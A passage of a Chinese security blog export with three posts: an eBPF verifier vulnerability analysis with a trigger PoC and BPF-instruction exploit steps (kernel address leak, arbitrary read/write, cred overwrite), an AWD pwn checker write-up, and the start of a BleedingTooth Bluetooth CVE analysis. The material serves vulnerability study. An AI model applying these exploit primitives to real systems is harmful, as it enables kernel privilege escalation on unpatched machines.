page;"></div><p>接着 adjust_scalar_min_max_vals() 会调用以下三个函数来更新 dst_reg 寄存器的边界。每个函数都包含32位和64位的处理部分,我们这里只关心32位的处理部分。reg 的边界是根据当前边界和 reg->var_off 来计算的。min边界是取 max{当前min边界、reg确定的值},会变大;max边界是取 min{当前max边界,reg确定的值},会变小。</p><pre><code class="c">static void __update_reg32_bounds(struct bpf_reg_state *reg){ struct tnum var32_off = tnum_subreg(reg->var_off); reg->s32_min_value = max_t(s32, reg->s32_min_value, var32_off.value | (var32_off.mask & S32_MIN)); reg->s32_max_value = min_t(s32, reg->s32_max_value, var32_off.value | (var32_off.mask & S32_MAX)); reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value); reg->u32_max_value = min(reg->u32_max_value, (u32)(var32_off.value | var32_off.mask));}</code></pre><div style="page-break-after: always; break-after: page;"></div><h5 id="漏洞POC"><a href="#漏洞POC" class="headerlink" title="漏洞POC"></a>漏洞POC</h5><p>构造指令<code>BPF_ALU64_REG(BPF_AND, R2, R3)</code>,对 R2 和 R3 进行与操作,并保存到 R2。</p><ul><li><code>R2->var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}</code>,表示R2低32位已知为1,高32位未知。由于低32位已知,所以其32位边界也为1。</li><li><code>R3->var_off = {mask = 0x0; value = 0x100000002}</code>,表示其整个64位都已知,为 <code>0x100000002</code>。</li></ul><p>更新R2的32位边界的步骤如下:</p><ul><li>先调用 <a href="https://elixir.bootlin.com/linux/v5.12.3/source/kernel/bpf/verifier.c#L7031">adjust_scalar_min_max_vals()</a> -> <a href="https://elixir.bootlin.com/linux/v5.12.3/source/kernel/bpf/tnum.c#L86">tnum_and()</a> 对 <code>R2->var_off</code> 和 <code>R3->var_off</code> 进行AND操作,并保存到 <code>R2->var_off</code>。**结果 <code>R2->var_off = {mask = 0x100000000; value = 0x0}</code>**,由于R3是确定的且R2高32位不确定,所以运算后,只有第32位是不确定的。</li></ul><pre><code class="c">struct tnum tnum_and(struct tnum a, struct tnum b){ u64 alpha, beta, v; alpha = a.value | a.mask; beta = b.value | b.mask; v = a.value & b.value; return TNUM(v, alpha & beta & ~v);}</code></pre><p>再调用 adjust_scalar_min_max_vals() -> scalar32_min_max_and(),会直接返回,因为R2和R3的低32位都已知。</p><p>再调用 <code>adjust_scalar_min_max_vals()</code> -> <code>__update_reg_bounds()</code> -><code> __update_reg32_bounds()</code> ,会设置 u32_max_value = 0,因为 var_off.value = 0 < u32_max_value = 1。同时,设置 u32_min_value = 1,因为 var_off.value = 0 < u32_min_value。带符号边界也一样。(因为这里的 u32_max_value和 u32_min_value还是R2原本的值)。最后得到寄存器 R2 — {u,s}32_max_value = 0 < {u,s}32_min_value = 1。</p><p>POC</p><pre><code class="c">BPF_LD_IMM64(BPF_REG_8, 0x1), // r8 = 0x1BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32),// r8 <<= 32 0x10000 0000BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 2), // r8 += 2 0x10000 0002BPF_MAP_GET(0, BPF_REG_5), // r5 = *(u64 *)(r0 +0) 64位均为unknownBPF_MOV64_REG(BPF_REG_6, BPF_REG_5), // r6 = r5BPF_LD_IMM64(BPF_REG_2, 0xFFFFFFFF), // r2 = 0xffffffffBPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32), // r2 <<= 32 0xFFFFFFFF00000000BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_2), // r6 &= r2 高32位 unknown, 低32位known 为0BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // r6 += 1 mask = 0xFFFFFFFF00000000, value = 0x1// trigger the vulnerabilityBPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_8), // r6 &= r8 r6: u32_min_value=1, u32_max_value=0BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // r6 += 1 r6: u32_max_value = 1, u32_min_value = 2, var_off = {0x100000000; value = 0x1}BPF_JMP32_IMM(BPF_JLE, BPF_REG_5, 1, 1), // if w5 <= 0x1 goto pc+1 r5: u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}BPF_EXIT_INSN(),BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_5), // r6 += r5 r6: verify:2 fact:1 BPF_MOV32_REG(BPF_REG_6, BPF_REG_6), // w6 = w6 对64位进行截断,只看32位部分BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1), //r6: verify:0 fact:1 </code></pre><div style="page-break-after: always; break-after: page;"></div><h3 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h3><p><strong>verifier 日志输出</strong></p><p>加载BPF程序时设置log_level=2,可在<code>verifier</code>检测出指令错误时输出指令信息</p><img src="img/image-20220313114419490.png" alt="image-20220313114419490" style="zoom:67%;" /><div style="page-break-after: always; break-after: page;"></div><p><strong>runtime调试</strong></p><p><code>ALU Sanitation</code>是运行时检查指令执行情况的保护机制,可以通过插桩观察BPF指令是否已经改变。</p><p>为了获取每条指令执行时的寄存器状态,可以关闭<code>CONFIG_BPF_JIT</code>选项并在<code>___bpf_prog_run()</code>插入<code>printk</code>语句,<code>regs</code>指向寄存器值,<code>insn</code>指向指令。</p><p>编译时设置<code>CONFIG_BPF_JIT</code>,则BPF程序在verifier验证后是JIT及时编译的;如果不设置该选项,则采用eBPF解释器来解码并执行BPF程序。</p><p>示例如下:</p><p><img src="/img/image-20220313114340052.png" alt="image-20220313114340052"></p><div style="page-break-after: always; break-after: page;"></div><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><h4 id="地址泄露"><a href="#地址泄露" class="headerlink" title="地址泄露"></a>地址泄露</h4><p><code> bpf_create_map</code>创建map,传入用户数据,这个结构是用户态与内核态交互的一块共享内存。<code>bpf_create_map()</code>实际调用<code>map_create()</code>来创建<code>bpf_array</code>结构,用户传入的数据放在value[] 处,value在 bpf_array 中偏移0x110,所以bpf_map的结构地址是*(&map-0x110)</p><pre><code class="c">struct bpf_array { struct bpf_map map; <-----------------... struct bpf_array_aux *aux; union { char value[]; <----------------- 0x110...</code></pre><div style="page-break-after: always; break-after: page;"></div><p>创建map时设置 BPF_MAP_TYPE_ARRAY 类型时,会将ops指针赋值为array_map_ops, array_map_ops 是一个全局结构包含很多函数指针,可以用于泄露内核地址;设置为BPF_MAP_TYPE_STACK 时 ops指针赋值为 stack_map_ops。</p><pre><code class="c">struct bpf_map { const struct bpf_map_ops *ops; <----------------- struct bpf_map *inner_map_meta; void *security; enum bpf_map_type map_type; //.... u64 writecnt;}</code></pre><pre><code class="c">const struct bpf_map_ops array_map_ops = { .map_alloc_check = array_map_alloc_check, .map_alloc = array_map_alloc, .map_free = array_map_free, .map_get_next_key = array_map_get_next_key, .map_lookup_elem = array_map_lookup_elem, .map_update_elem = array_map_update_elem, .map_delete_elem = array_map_delete_elem, .map_gen_lookup = array_map_gen_lookup, .map_direct_value_addr = array_map_direct_value_addr, .map_direct_value_meta = array_map_direct_value_meta, .map_seq_show_elem = array_map_seq_show_elem, .map_check_btf = array_map_check_btf,};</code></pre><pre><code class="c">// /kernel/bpf/queue_stack_maps.c#L272 BPF_MAP_TYPE_STACKconst struct bpf_map_ops stack_map_ops = { .map_alloc_check = queue_stack_map_alloc_check, .map_alloc = queue_stack_map_alloc, .map_free = queue_stack_map_free, .map_lookup_elem = queue_stack_map_lookup_elem, .map_update_elem = queue_stack_map_update_elem, .map_delete_elem = queue_stack_map_delete_elem, .map_push_elem = queue_stack_map_push_elem, .map_pop_elem = stack_map_pop_elem, .map_peek_elem = stack_map_peek_elem, .map_get_next_key = queue_stack_map_get_next_key,};</code></pre><div style="page-break-after: always; break-after: page;"></div><p><strong>泄露内核地址</strong>:读取<code>bpf_array->map->ops</code>指针,位于 <code>&value[0]-0x110</code> (eBPF程序中可以获取<code>&value[0]</code>,再减去0x110即可),用户层调用<code>bpf_lookup_elem()</code>读取map数据。</p><p>EXP</p><pre><code class="c">BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110), // r6=0x110BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7 = &map[0]BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6), // r7 -= r6BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), // r8 = *(u64 *)(r7 +0)BPF_MAP_GET_ADDR(4, BPF_REG_6), //r6 = &map[4]BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0), // *(u64 *)(r6 +0) = r8</code></pre><div style="page-break-after: always; break-after: page;"></div><h4 id="任意地址写"><a href="#任意地址写" class="headerlink" title="任意地址写"></a>任意地址写</h4><p>调用 <code>bpf_create_map()</code> 构造<code>bpf_array</code>时,类型设置为 BPF_MAP_TYPE_QUEUE 或者 BPF_MAP_TYPE_STACK 。(这样bpf_array->map->ops会被赋值为全局函数表queue_map_ops或stack_map_ops,其中包含可利用的map_push_elem函数指针)。</p><p>在exp_value上布置伪造的array_map_ops,伪造的 array_map_ops 中将 map_push_elem 填充为map_get_next_key ,这样调用map_push_elem时就会调用map_get_next_key ,并将&exp_value[0]的地址覆盖到map[0],同时要构造 map 的一些字段绕过某些检查。</p><pre><code class="c">struct bpf_array { struct bpf_map map; // <-------- 覆盖为 &exp_value[0] u32 elem_size; u32 index_mask; struct bpf_array_aux *aux; union { char value[]; // 用户数据 exp_value,放置伪造的 array_map_ops 函数表 void *ptrs[]; void *pptrs[]; };}</code></pre><pre><code class="c">// /kernel/bpf/queue_stack_maps.c#L272 BPF_MAP_TYPE_STACKconst struct bpf_map_ops stack_map_ops = { .map_alloc_check = queue_stack_map_alloc_check, .map_alloc = queue_stack_map_alloc, .map_free = queue_stack_map_free, .map_lookup_elem = queue_stack_map_lookup_elem, .map_update_elem = queue_stack_map_update_elem, .map_delete_elem = queue_stack_map_delete_elem, .map_push_elem = queue_stack_map_push_elem, // map_push_elem 伪造成 map_get_next_key .map_pop_elem = stack_map_pop_elem, .map_peek_elem = stack_map_peek_elem, .map_get_next_key = queue_stack_map_get_next_key, // map_get_next_key};</code></pre><p>调用<code>bpf_update_elem</code>任意写内存,<code>bpf_update_elem</code>-><code>map_update_elem(mapfd, &key, &value, flags) </code>-> <code>map_push_elem</code>(被填充成 map_get_next_key) -><code>array_map_get_next_key</code>.</p><p><code>map_push_elem()</code> 的参数是 value 和 flags,分别对应<code>array_map_get_next_key()</code>的 key 和 next_key 参数,这里有一个32位的赋值操作<code> (u32 *)next_key = *(u32 *)key +1</code>, 因此可以构造 *flags = value[0]+1,这里index 和 next 都是 u32 类型, 所以可以任意地址写 4个byte。</p><pre><code class="c">// .map_push_elem = queue_stack_map_push_elemstatic int queue_stack_map_push_elem(struct bpf_map *map, void *value, u64 flags)// .map_get_next_key = queue_stack_map_get_next_keystatic int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key) { struct bpf_array *array = container_of(map, struct bpf_array, map); u32 index = key ? *(u32 *)key : U32_MAX; u32 *next = (u32 *)next_key; ... *next = index + 1; ...</code></pre><div style="page-break-after: always; break-after: page;"></div><h4 id="任意地址读"><a href="#任意地址读" class="headerlink" title="任意地址读"></a>任意地址读</h4><p>利用<code>BPF_OBJ_GET_INFO_BY_FD</code>选项进行任意读。通过修改map->btf 指针为target_addr-0x58,读取map->btf+0x58处的32 bit值(map->btf.id)</p><p>调用流:BPF_OBJ_GET_INFO_BY_FD -> bpf_obj_get_info_by_fd() -> bpf_map_get_info_by_fd()</p><pre><code class="c">// bpf_map_get_info_by_fd()static int bpf_map_get_info_by_fd(struct bpf_map *map, const union bpf_attr *attr, union bpf_attr __user *uattr){ struct bpf_map_info __user *uinfo = u64_to_user_ptr(attr->info.info); struct bpf_map_info info = {}; u32 info_len = attr->info.info_len; ...... if (map->btf) { info.btf_id = btf_id(map->btf); <---- fake map->btf info.btf_key_type_id = map->btf_key_type_id; info.btf_value_type_id = map->btf_value_type_id; } ...... if (copy_to_user(uinfo, &info, info_len) || <----leak info put_user(info_len, &uattr->info.info_len)) return -EFAULT; return 0;}</code></pre><p>所以只需要修改 map->btf 为 target_addr-0x58,就可以把btf->id(target_addr处的值)泄露到用户态info中,泄漏的信息在struct bpf_map_info 结构偏移0x40处,由于是u32类型,所以一次只能泄露4个字节。</p><div style="page-break-after: always; break-after: page;"></div><h4 id="漏洞利用总结"><a href="#漏洞利用总结" class="headerlink" title="漏洞利用总结"></a>漏洞利用总结</h4><ul><li>创建eBPF代码,载入内核,通过verifier检查;</li><li>泄露内核基址:读取<code>bpf_array->map->ops</code>指针,位于 <code>&value[0]-0x110</code> (eBPF程序中可以获取<code>&value[0]</code>,再减去0x110即可),用户层调用<code>bpf_lookup_elem()</code>读取map数据。</li><li><code>&value[0]+0x80+0x70</code>处伪造 <code>bpf_array->map->ops->map_push_elem</code>:先任意读泄露<code>bpf_array->map->ops->map_get_next_key</code>,然后在<code>&value[0]+0x80</code>处伪造<code>bpf_array->map->ops</code>函数表,将<code>map_push_elem</code>替换为<code>map_get_next_key</code>,便于之后构造任意写;</li><li>泄露<code>&value[0]</code>:便于在<code>value[]</code>上伪造假的<code>bpf_array->map->ops</code>函数表;读取value[0]的地址,由于 <code>bpf_array->waitlist</code> (偏移0xc0)指向自身,所以 <code>&value[0]= &bpf_array->waitlist + 0x50</code>,只需读取 <code>&value[0]-0x110+0xc0</code> 的值,加上0x50即可,读出来的地址存放在<code>value[4]</code>。</li><li>泄露<code>task_struct</code>地址:任意地址读,篡改 <code>bpf_array->map->btf</code> (偏移0x40),利用 <code>bpf_map_get_info_by_fd</code> 泄露 <code>map->btf+0x58</code> 地址处的4字节(将<code>map->btf</code>篡改为<code>target_addr-0x58</code>即可);首个<code>task_struct</code>地址存放在<code>init_pid_ns</code>。</li><li>找到本线程的cred地址:遍历 <code>task_struct->tasks->next</code> 链表,读取指定线程的cred地址。</li><li>修改cred,任意地址写:篡改 <code>bpf_array->map->ops</code> 函数表指针,指向<code>&value[0]+0x80</code>处伪造的<code>bpf_map_ops</code>函数表,将<code>map_push_elem</code>改为<code>map_get_next_key</code>,这样调用<code>map_push_elem</code>时实际会调用<code>map_get_next_key</code> ,能够任意写4字节(用户层调用<code>bpf_update_elem()</code>);还需要构造 map 的3个字段绕过某些检查。</li></ul><h3 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h3><p><a href="https://github.com/Q1IQ/ctf/tree/master/linux-eBPF">https://github.com/Q1IQ/ctf/tree/master/linux-eBPF</a></p><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://www.anquanke.com/post/id/251933">https://www.anquanke.com/post/id/251933</a></p>]]></content>
<tags>
<tag> CVE </tag>
</tags>
</entry>
<entry>
<title>awd pwn checker编写记录</title>
<link href="awd-pwn-checker/"/>
<url>awd-pwn-checker/</url>
<content type="html"><![CDATA[<p><img src="/images/nasa-WKT3TE5AQu0-unsplash.jpg" alt="cover"></p><p>最近在为awd pwn题写checker,然后我写了个能检测pwn题全部功能是否可以正常使用的脚本,被反馈还需要改进下:</p><ul><li>不可以用pwntools库</li><li>不能让选手直接nop free,要不选手体验差</li></ul><p>项目代码已开源:<a href="https://github.com/Q1IQ/AWD-PWN-Checker">https://github.com/Q1IQ/AWD-PWN-Checker</a></p><h4 id="pwntools禁用"><a href="#pwntools禁用" class="headerlink" title="pwntools禁用"></a>pwntools禁用</h4><p>对我这种fw pwn手来说,没了pwntools就是没了胳膊,干啥啥不行。不过对于checker来说,只要有网络通信功能就行,于是找到了一个平替,<code>zio</code>。</p><pre><code>from zio import *is_local = Trueif is_local: io = zio('./buggy-server') # used for local pwning developmentelse: io = zio(('1.2.3.4', 1337)) # used to exploit remote serviceio.read_until(b'Welcome Banner')io.write(your_awesome_ropchain_or_shellcode)# hey, we got an interactive shell!io.interact()</code></pre><p>我猜不让用pwntools的原因大概是因为现在python2装不上pwntools了吧,我测试了下,现在ubuntu 16.04装不上,18.04还是可以装上的。</p><p>反正第一个问题算是解决了。</p><h4 id="不能-nop-free"><a href="#不能-nop-free" class="headerlink" title="不能 nop free"></a>不能 nop free</h4><p>第二个问题。</p><p>首先考虑到,这场awd是要给每个选手一台服务器维护的,我作为一个checker怎么能拿到选手服务器的pwn题?打awd的时候我可以一个exp打过去拿到shell再把pwn题传过来,但作为checker的话可想而知洞会被补上。想来想去只能上ssh了,上个公钥在选手服务器。</p><pre><code>import paramikodef down_from_remote(host, remotepath, localpath, port=22): keyfile = open('./awd_rsa', 'r') private_key = paramiko.RSAKey.from_private_key(keyfile) t = paramiko.Transport((host, port)) t.connect(username='root', pkey=private_key) sftp = paramiko.SFTPClient.from_transport(t) sftp.get(remotepath, localpath)</code></pre><p>然后考虑free的问题。</p><p>赛场上遇到给服务器的、pwn题有uaf的话,要我修我也是先nop(bushi),当然更优美地修的话就是加段置0的汇编,然后call free的时候跳到那里,例:</p><pre><code>.eh_frame:0000000000401378 ; =============== S U B R O U T I N E =======================================.eh_frame:0000000000401378.eh_frame:0000000000401378.eh_frame:0000000000401378 sub_401378 proc near ; CODE XREF: sub_400AEF+73竊叢.eh_frame:0000000000401378 mov rax, [rbp-8] ; Keypatch modified this from:.eh_frame:0000000000401378 ; db 14h.eh_frame:0000000000401378 ; db 0.eh_frame:0000000000401378 ; db 0.eh_frame:0000000000401378 ; db 0.eh_frame:000000000040137C mov rax, ds:ptr[rax*8] ; Keypatch modified this from:.eh_frame:000000000040137C ; db 0.eh_frame:000000000040137C ; db 0.eh_frame:000000000040137C ; db 0.eh_frame:000000000040137C ; db 0.eh_frame:000000000040137C ; db 1.eh_frame:000000000040137C ; db 7Ah.eh_frame:000000000040137C ; db 52h.eh_frame:000000000040137C ; db 0.eh_frame:0000000000401384 mov rdi, rax ; Keypatch modified this from:.eh_frame:0000000000401384 ; db 1.eh_frame:0000000000401384 ; db 78h.eh_frame:0000000000401384 ; db 10h.eh_frame:0000000000401387 call _free ; Keypatch modified this from:.eh_frame:0000000000401387 ; add [rbx], ebx.eh_frame:0000000000401387 ; or al, 7.eh_frame:0000000000401387 ; or [rax+14100701h], dl.eh_frame:000000000040138C mov rax, [rbp-8] ; Keypatch modified this from:.eh_frame:000000000040138C sub_401378 endp ; nop.eh_frame:000000000040138C ; db 1.eh_frame:000000000040138C ; db 7.eh_frame:000000000040138C ; db 10h.eh_frame:0000000000401390 mov rbx, 8.eh_frame:0000000000401397 mul ebx ; Keypatch filled range [0x401397:0x401396] (0 bytes), replaced:.eh_frame:0000000000401397 ;.eh_frame:0000000000401397 ; Keypatch modified this from:.eh_frame:0000000000401397 ; db 0C7h.eh_frame:0000000000401397 ; db 0.eh_frame:0000000000401397 ; Keypatch modified this from:.eh_frame:0000000000401397 ; mul eax.eh_frame:0000000000401399 add rax, 6020E0h ; Keypatch modified this from:.eh_frame:0000000000401399 ; db 0.eh_frame:0000000000401399 ; db 0.eh_frame:0000000000401399 ; db 0.eh_frame:0000000000401399 ; db 0.eh_frame:0000000000401399 ; db 0E9h.eh_frame:0000000000401399 ; db 0C5h.eh_frame:000000000040139F mov qword ptr [rax], 0 ; Keypatch modified this from:.eh_frame:000000000040139F ; db 0F7h.eh_frame:000000000040139F ; db 0FFh.eh_frame:000000000040139F ; db 0FFh.eh_frame:000000000040139F ; db 0.eh_frame:000000000040139F ; db 0.eh_frame:000000000040139F ; db 0.eh_frame:000000000040139F ; db 0.eh_frame:00000000004013A6 jmp loc_400B67 ; Keypatch modified this from:.eh_frame:00000000004013A6 ; db 0.eh_frame:00000000004013A6 ; db 0.eh_frame:00000000004013A6 ; db 14h.eh_frame:00000000004013A6 ; db 0.eh_frame:00000000004013A6 ; db 0.eh_frame:00000000004013A6 ; Keypatch modified this from:.eh_frame:00000000004013A6 ; call loc_400B67.eh_frame:00000000004013A6 ; ---------------------------------------------------------------------------</code></pre><p>检测的话直接检测代码段 <code>call free </code>这句有没有被改是不行的,毕竟我patch也得改这句。</p><p>检测<code>call free </code>是不是变成了<code>nop</code>指令也不行,因为除了<code>nop</code>也可以改成别的啊,虽然在不知道checker逻辑的情况下选手应该很难意识到这一点,但做checker嘛就得狠点吧大概(bushi)。</p><p>也想到可以用系统调用,结果发现不行,<code>malloc</code>的时候有<code>brk</code>的系统调用如图,<code>free</code>是没走系统调用的。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20210322233514.png"></p><p>这里还有一个思路,就是checker可以一直<code>malloc->free->malloc->free->malloc</code>达到一定次数,如果选手把<code>free nop</code>了,堆空间就会超过上次<code>brk</code>的地方,进程就会再调用一次<code>brk</code>申请空间,如果<code>free</code>没有被<code>nop</code>就不会出现这样的情况,这样就区别开来了。然而我出的题限制了分配的次数,而且这个方法也不够普适。</p><p>又想到可以看进程的内存布局。这样我需要先找到使用题目端口的进程:</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20210323185056.png"></p><p>然后过滤checker ip,就能知道是哪个进程在和checker通信,继而查看进程里的内存。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20210323190222.png"></p><p>也可以直接执行从选手那传过来的二进制,但是要直接执行的话怎么也得弄个沙箱吧,万一选手整了个什么了不得的东西,而且开销很大。</p><p>还有种办法是在选手服务器那边执行下看看进程堆内存,大概可行?但总感觉动选手的环境不应该是checker干的事,而且还是加一个进程进去,不过已经是能想到的比较可行的方案了。</p><p>然后我也看了Flappypig战队提出来的这个<a href="https://www.anquanke.com/post/id/105387#h3-7">lowbits leak check</a>,但是关键就在于:</p><ul><li>那么这就给了我们在CTF线下赛中一种针对堆漏洞的Checker的思路,我们在程序交互中预先在每次malloc后,把堆地址的低12bit输出。</li></ul><p>我太懒了,我懒得改我费老劲出的题,我就想把checker改了交差。</p><p>。。。</p><p>所以为啥好多awd pwn都要求选手提供patch好的文件给主办方帮你替换,人工看的话是一件多方便的事情。</p><p>所以最终方案是:先检查选手有没有修改call free,再检查有没有<code>\x90</code>(前提是那一句里原先就没有90),再看进程的内存布局,多因子检查。</p><pre><code>def check_free(check_elf, ordinary_elf, call_free_address, size=5): # check call free change check_free_data = check_elf.get_content_from_virtual_address( call_free_address, size) ordinary_data = ordinary_elf.get_content_from_virtual_address( call_free_address, size) # equal => no change if operator.eq(check_free_data, ordinary_data): return True # if has 90 => nop free if 0x90 in check_free_data: return False # temporary return Truedef check_free_from_remote(host, pwnport, local, port=22): keyfile = open('./awd_rsa', 'r') private_key = paramiko.RSAKey.from_private_key(keyfile) # connect to host io = zio((host, pwnport)) # get pid infomation s = paramiko.SSHClient() s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) s.connect(hostname=host, port=port, username='root', pkey=private_key) # stdin, stdout, stderr = s.exec_command( "lsof -i:8888|grep "+local+"|grep -v 'timeout' |awk '{print $2}'|head -n 1") checker_pwn_pid = stdout.read().decode().strip() # initialize heap io.read_until(b'Input your choice:') io.write('c') # function [c]create a book io.read_until(b'Which book do you want to create?') io.writeline('0') io.read_until(b'Input your choice:') io.write('c') # function [c]create a book io.read_until(b'Which book do you want to create?') io.writeline('1') # heap info stdin, stdout, stderr = s.exec_command( "cat /proc/{0}/maps".format(checker_pwn_pid)) map_info = stdout.read().decode().split('\n') heap_info = '' if '[heap]' in map_info[3]: heap_info = map_info[3] else: for i in map_info: if '[heap]' in i: heap_info = i # malloc may be nopped if heap_info == '': io.close() return False # heap addr heap_addr_start, heap_addr_end = [int(i, 16) for i in re.match( "\w*-\w*", heap_info).group(0).split('-')] # check mem sftp = s.open_sftp() io.read_until(b'Input your choice:') io.write('d') # fuction [d]delete io.read_until(b'Which book do you want to delete?') io.writeline('1') io.read_until(b'Input your choice:') io.write('d') # fuction [d]delete io.read_until(b'Which book do you want to delete?') io.writeline('0') # if free is there, heap should be bin->0->1 stdin, stdout, stderr = s.exec_command( "lsof -i:8888") with sftp.file("/proc/{0}/mem".format(checker_pwn_pid), mode='rb') as file: file.seek(heap_addr_start+0x8) chuck_1_size = int(str(unpack("<Q", file.read(8))[0]), 10) chuck_1_fd = int(str(unpack("<Q", file.read(8))[0]), 10) if (chuck_1_fd == (heap_addr_start+0x70)) and (chuck_1_size == 0x71): io.close() return True else: io.close() return False</code></pre><h4 id="不能改大malloc-size"><a href="#不能改大malloc-size" class="headerlink" title="不能改大malloc size"></a>不能改大malloc size</h4><p>跟free相比情况就少多了,malloc相关的代码块甚至是所在的函数都不允许改动即可。</p><h4 id="不能扰乱plt表和got表"><a href="#不能扰乱plt表和got表" class="headerlink" title="不能扰乱plt表和got表"></a>不能扰乱plt表和got表</h4><p>plt 和 got 表也不许改。</p><pre><code>import liefdef check_got(check_elf, ordinary_elf): section = check_elf.get_section('.got.plt') got_address = section.virtual_address if(compare_data(check_elf, ordinary_elf, got_address, section.size)): return True else: return Falsedef check_plt(check_elf, ordinary_elf): section = check_elf.get_section('.plt') plt_address = section.virtual_address if(compare_data(check_elf, ordinary_elf, plt_address, section.size)): return True else: return False</code></pre>]]></content>
<tags>
<tag> AWD </tag>
</tags>
</entry>
<entry>
<title>Linux 蓝牙漏洞学习记录</title>
<link href="Linux-bluetooth/"/>
<url>Linux-bluetooth/</url>
<content type="html"><![CDATA[<p><img src="/images/jonatan-pie-3l3RwQdHRHg-unsplash.jpg" alt="cover"></p><p>水一篇蓝牙CVE的分析文章,站在巨人的肩膀上。</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><h3 id="Bleedingtooth"><a href="#Bleedingtooth" class="headerlink" title="Bleedingtooth"></a>Bleedingtooth</h3><p>2020年谷歌安全研究人员在Linux kernel中发现了多个蓝牙的安全漏洞,这些漏洞被称之为BleedingTooth。攻击者利用BleedingTooth 漏洞可以实现无用户交互的零点击攻击(zero-click attack)。包括CVE-2020-12351、CVE-2020-12352、CVE-2020-24490。 </p><p>CVE-2020-12351位于net/bluetooth/l2cap_core.c,基于堆的类型混淆漏洞。在 l2cap_data_channel函数中,当使用的 CID 是 L2CAP_CID_A2MP 并且还没建立一个channel时 , a2mp_channel_create()会被调用用于建立channel, 设定的chan->data 的类型是struct amp_mgr* 。如果 channel 的 mode 是 L2CAP_MODE_ERTM 或 L2CAP_MODE_STREAMING, 就会调用 l2cap_data_rcv(),在l2cap_data_rcv()调用了sk_filter(chan->data, skb),此时chan->data被转换成了struct sock*类型。</p><p>CVE-2020-12352位于/net/bluetooth/a2mp.c, 基于栈的信息泄漏漏洞。在a2mp_getinfo_req函数中,如果指定了一个无效的hci device id或者不是 HCI_AMP 类型的 hci device ,错误响应函数a2mp_send会回送一个没完全初始化的结构体a2mp_info_rsp rsp,这时 a2mp_info_rsp 被分配在栈上并且只有前2个字节被初始化了,这意味着可以泄漏前一个栈帧中的16个字节。</p><p>CVE-2020-24490 位于net/bluetooth/hci_event.c ,基于堆的缓冲区溢出漏洞。处理扩展广播报告事件的hci_le_ext_adv_report_evt()使用store_pending_adv_report()拷贝数据时,会将最多255个字节的扩展广告数据拷贝到discovery_state->last_adv_addr,但是后者的大小是HCI_MAX_AD_LENGTH=31 bytes,不足以容纳,导致堆溢出。</p><h4 id="CVE-2020-12351"><a href="#CVE-2020-12351" class="headerlink" title="CVE-2020-12351"></a>CVE-2020-12351</h4><p>CVE-2020-12351,该漏洞CVSS评分为8.3分,是一个基于堆的类型混淆(type confusion) 漏洞。在受害者蓝牙范围内的远程攻击者在指导目标设备的bd地址的情况下就可以利用该漏洞。攻击者可以通过发送恶意l2cap包的方式来触发该漏洞,引发DoS或kernel权限的任意代码执行。谷歌安全研究人员称该漏洞是一个零点击漏洞,也就是说利用的过程中无需任何的用户交互。</p><blockquote><p>A heap-based 类型混淆 affecting Linux kernel 4.8 and higher was discovered in net/bluetooth/l2cap_core.c.</p></blockquote><p>当 CID 不是 L2CAP_CID_SIGNALING, L2CAP_CID_CONN_LESS 或 L2CAP_CID_LE_SIGNALING时, l2cap_recv_frame 会调用 l2cap_data_channel() 。在l2cap_data_channel()中需要关注的是第8行的第27行的这两个分支。</p><pre><code class="c">///net/bluetooth/l2cap_core.cstatic void l2cap_data_channel(struct l2cap_conn *conn, u16 cid, struct sk_buff *skb){ struct l2cap_chan *chan; chan = l2cap_get_chan_by_scid(conn, cid); if (!chan) { if (cid == L2CAP_CID_A2MP) { chan = a2mp_channel_create(conn, skb); //here if (!chan) { kfree_skb(skb); return; } l2cap_chan_lock(chan); } else { BT_DBG("unknown cid 0x%4.4x", cid); /* Drop packet and return */ kfree_skb(skb); return; } } ... switch (chan->mode) { ... case L2CAP_MODE_ERTM: case L2CAP_MODE_STREAMING: l2cap_data_rcv(chan, skb); //here goto done; ... }drop: kfree_skb(skb);done: l2cap_chan_unlock(chan);}</code></pre><p>第27行:在 l2cap_data_channel 函数里如果 channel 的 mode 是 L2CAP_MODE_ERTM 或 L2CAP_MODE_STREAMING, 就会调用 l2cap_data_rcv()。</p><pre><code class="c">///net/bluetooth/l2cap_core.cstatic int l2cap_data_rcv(struct l2cap_chan *chan, struct sk_buff *skb){ struct l2cap_ctrl *control = &bt_cb(skb)->l2cap; u16 len; u8 event; __unpack_control(chan, skb); len = skb->len; /* * We can just drop the corrupted I-frame here. * Receiver will miss it and start proper recovery * procedures and ask for retransmission. */ if (l2cap_check_fcs(chan, skb)) goto drop; if (!control->sframe && control->sar == L2CAP_SAR_START) len -= L2CAP_SDULEN_SIZE; if (chan->fcs == L2CAP_FCS_CRC16) len -= L2CAP_FCS_SIZE; if (len > chan->mps) { l2cap_send_disconn_req(chan, ECONNRESET); goto drop; } if ((chan->mode == L2CAP_MODE_ERTM || chan->mode == L2CAP_MODE_STREAMING) && sk_filter(chan->data, skb)) //here 